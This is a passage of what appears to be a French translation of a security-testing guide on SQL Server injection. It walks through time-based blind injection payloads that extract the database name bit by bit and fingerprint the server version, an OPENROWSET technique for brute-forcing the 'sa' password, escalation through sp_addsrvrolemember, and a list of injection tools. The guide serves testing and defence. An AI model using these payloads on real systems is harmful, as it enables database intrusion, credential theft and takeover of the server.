
En mesurant le temps de réponse pour chaque valeur de @i, on peut déduire la lingueur du nom de la base de donnée courante, puis commencer à extraire le nom lui-même avec la requête suivante :

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'

Cette requête va attendre 5 secondes pour chaque '@bit' égal à 1 de '@byte' du nom de la base de données courante, et répondra immédiatement si '@bit' est égal à 0. En imbriquant deux cycles (un pour @byte et un pout @bit) on sera capable d'extraire l'ensemble de l'information.

Cepandant, il arrive parfois que la commande ''waitfor'' ne soit pas disponible (parce qu'un IPS ou un pare-feu applicatif la filtre, par exemple). Cela ne signifie pas que les attaques par injection SQL en aveugle soient impossible, puisque le testeur peut utiliser toute opération prenant du temps qui ne sera pas filtrée. Par exemple :

declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end

====Vérifier la version et ses vulnérabilités====
La même approche temporelle peut être utilisée pour comprendre à quelle version de SQL Server on a à faire. On va bien sûr utiliser la variable intégrée @@version. Considérons la requête suivante :

select @@version

Sous SQL Server 2005, on va obtenir un résultat ressemblant à :

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 <snip>

La partie '2005' de la chaîne est placée du 22e au 25e caractère. Ainsi, la requête à injecter est la suivante :

if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'

Une telle requête va attendre 5 secondes si le 25e caractère de la variable @@version est '5', dévoilant que l'on a à faire à SQL Server 2005. Si la requête répond immédiatement, on a surement à faire à SQL Server 2000, et une autre requête similaire permettra de le confirmer.

===Exemple 9: brute-forcer le mot de passe sysadmin===

Pour brute-forcer le mot de passe du sysadmin, on peut utiliser le fait que OPENROWSET nécessite l'accès adéquat pour se connecter et qu'une telle connexion peut être effectuée avec le serveur de base local.
En combinant ce fait avec une injection inférentielle basée sur le temps de réponse, on peut injecter le code suivant :
<pre>
select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')
</pre>

Ici, on essaie d'ouvrir une connexion à la base locale (désignée par le champ vide après 'SQLOLEDB'), en utilisant 'sa' comme identifiant et '<pwd>' comme mot de passe. Si le mot de pasase est correct et que la connexion est réussie, la requête est exécutée et fait attendre la base pendant 5 secondes (et lui fait aussi renvoyer une valeur, puisque OPENROWSET nécessite au moins une colonne). Récupérer les mot de passe à tester depuis une liste de mots et mesurer le temps nécessaire à chaque connexion va nous permettre de deviner le mot de passe correct. Dans "Data-mining with SQL Injection and Inference", David Litchfield pousse la technique encore plus loin, en injectant un morceau de code afin de brute-forcer le mot de passe du sysadmin en utilisant les ressources CPU du serveur de base lui-même.

Une fois le mot de passe du sysadmin connu, on a deux choix :

* Injecter les requêtes suivantes en utilisant OPENROWSET, afin d'utiliser les privilèges du sysadmin

* Ajouter notre utilisateur courant dans le group sysadmin en utilisant sp_addsrvrolemember. Le nom de l'utilisateur courant peut être extrait en utilisant une injection inférentielle sur la variable system_user.

N'oublions pas que OPENROWSET est accessible à tout ulisateur sur SQL Server 2000 mais est restreint aux comptes administrateur sur SQL Server 2005.

==Outils==
* Francois Larouche: Multiple DBMS SQL Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/

== Références ==
'''Whitepapers''' 
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Chris Anley, "(more) Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* Steve Friedl's Unixwiz.net Tech Tips: "SQL Injection Attacks by Example" - http://www.unixwiz.net/techtips/sql-injection.html
* Alexander Chigrik: "Useful undocumented extended stored procedures" - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm
* Antonin Foller: "Custom xp_cmdshell, using shell object" - http://www.motobit.com/tips/detpg_cmdshell
* Paul Litwin: "Stop SQL Injection Attacks Before They Stop You" - http://msdn.microsoft.com/en-us/magazine/cc163917.aspx
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx
* Cesar Cerrudo: Manipulating Microsoft SQL Server Using SQL Injection - http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf uploading files, getting into internal network, port scanning, DOS

User:Jcpraud

2015-01-10T16:33:47Z

Jcpraud: